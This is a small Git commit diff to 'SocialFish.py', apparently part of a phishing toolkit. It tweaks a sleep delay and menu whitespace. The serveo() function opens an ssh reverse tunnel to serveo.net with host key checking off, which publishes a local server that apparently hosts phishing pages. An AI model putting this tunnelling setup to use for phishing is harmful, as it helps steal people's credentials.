Update SocialFish.py

This commit is contained in:
Usama Abdul Sattar 2018-08-09 09:47:08 +05:00 committed by GitHub
parent 9738ee7ed7
commit d7ffd3db73
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -285,7 +285,7 @@ def runPEnv():
def serveo():
system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > sendlink.txt 2> /dev/null & ')
sleep(10)
sleep(7)
f = open('sendlink.txt', 'r')
a = ['', 'Forwarding', 'HTTP', 'traffic', 'from', '', ' ']
lst = []
@ -329,11 +329,11 @@ if __name__ == "__main__":
print("\n {0}[{1}1{0}]{1} Ngrok\n {0}[{1}2{0}]{1} Serveo".format(CYAN, END))
choice = input(" \n {0}SF-An0nUD4Y > {1}".format(CYAN, END))
if choice == '1':
runNgrok()
runNgrok()
elif choice == '2':
serveo()
else:
system('clear')
system('clear')
return server()
server()
multiprocessing.Process(target=runServer).start()